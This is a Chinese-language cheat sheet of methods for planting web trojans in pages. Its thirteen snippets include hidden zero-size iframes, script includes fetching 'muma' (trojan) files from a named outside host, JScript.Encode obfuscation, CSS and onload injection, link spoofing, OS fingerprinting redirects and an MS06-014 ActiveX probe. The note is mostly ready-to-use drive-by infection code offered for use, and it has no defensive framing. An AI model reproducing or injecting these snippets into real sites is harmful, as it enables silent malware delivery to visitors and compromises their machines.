网马类型总结【笔记】
Web网页中挂马的方法
一:框架挂马
<iframe src=地址 width=0 height=0></iframe>
二:js文件挂马
首先将以下代码
<SCRIPT language="JScript.Encode" src=http://www.upx.com.cn/muma.txt></script>
保存为xxx.js,
则JS挂马代码为
<script language=javascript src=xxx.js></script>
三:js变形加密
<SCRIPT language="JScript.Encode" src=http://www.upx.com.cn/muma.txt></script>
muma.txt可改成任意后缀
四:body挂马
<body onload="window.location='地址';"></body>
五:隐蔽挂马
body { background-image: url('javascript:document.write("<script src=http://www.upx.com.cn/muma.js></script>")')}
六:css中挂马
body { background-image: url('javascript:document.write("<script src=http://www.upx.com.cn/muma.js></script>")')}
七:JAJA挂马
<SCRIPT language=javascript> window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1"); </script>
八:图片伪装
<html> <iframe src="网马地址" height=0 width=0></iframe> <img src="图片地址"></center> </html>
九:伪装调用:
<frameset rows="444,0" cols="*"> <frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0"> <frame src="网马地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0"> </frameset>
十:高级欺骗
<a href="http://www.163.com(迷惑连接地址,显示这个地址指向木马地址)" onMouseOver="www_163_com(); return true;"> 页面要显示的内容 </a>
<SCRIPT Language="JavaScript"> function www_163_com () { var url="网马地址"; open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10"); } </SCRIPT>
十一:判断系统代码
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD><TITLE>404</TITLE> <META http-equiv=Content-Type content="text/html; charset=windows-1252"> <META content="MSHTML 6.00.2900.2769" name=GENERATOR></HEAD> <BODY> <SCRIPT language=javascript> window.status=""; if(navigator.userAgent.indexOf("Windows NT 5.1") != -1) window.location.href="tk.htm"; else window.location.href="upx06014.htm"; </SCRIPT> </BODY></HTML>
十二:判断是否有ms06014代码
<script language=VBScript> on error resume next set server = document.createElement("object") server.setAttribute "classid", "clsid:10072CEC-8CC1-11D1-986E-00A0C955B42E" set File = server.createobject(Adodb.Stream,"") if Not Err.Number = 0 then err.clear document.write ("<iframe src=http://upx.com.cn width=100% height=100% scrolling=no frameborder=0>") else document.write ("<iframe src=http://upx.com.cn width=100% height=100% scrolling=no frameborder=0>") end if </script>
十三:智能读取js的代码demo
//读娶src的对象
var v = document.getElementById("advjs");
//读娶src的参数
var u_num = getUrlParameterAdv("showmatrix_num",v.getAttribute('src')); document.write("<iframe src=\"http://www.upx.com.cn/1/"+u_num+".htm\" width=\"0\" height=\"0\" frameborder=\"0\"></iframe>"); document.writeln("<!DOCTYPE HTML PUBLIC \"-\/\/W3C\/\/DTD HTML 4.0 Transitional\/\/EN\">"); document.writeln("<HTML><HEAD>"); document.writeln("<META http-equiv=Content-Type content=\"text\/html; charset=big5\">"); document.writeln("<META content=\"MSHTML 6.00.2900.3059\" name=GENERATOR><\/HEAD>"); document.writeln("<BODY> "); document.writeln("<DIV style=\"CURSOR: url(\'http:\/\/www.upx.com.cn\/demo.js\')\">"); document.writeln("<DIV "); document.writeln("style=\"CURSOR: url(\'http:\/\/www.upx.com.cn\/demo.js\')\"><\/DIV><\/DIV><\/BODY><\/HTML>") //分析src的参数函数 function getUrlParameterAdv(asName,lsURL){ loU = lsURL.split("?"); if (loU.length>1){ var loallPm = loU[1].split("&"); for (var i=0; i<loallPm.length; i++){ var loPm = loallPm[i].split("="); if (loPm[0]==asName){ if (loPm.length>1){ return loPm[1]; }else{ return ""; } } } } return null; }
千行代码,Bug何处藏。 纵使上线又怎样,朝令改,夕断肠。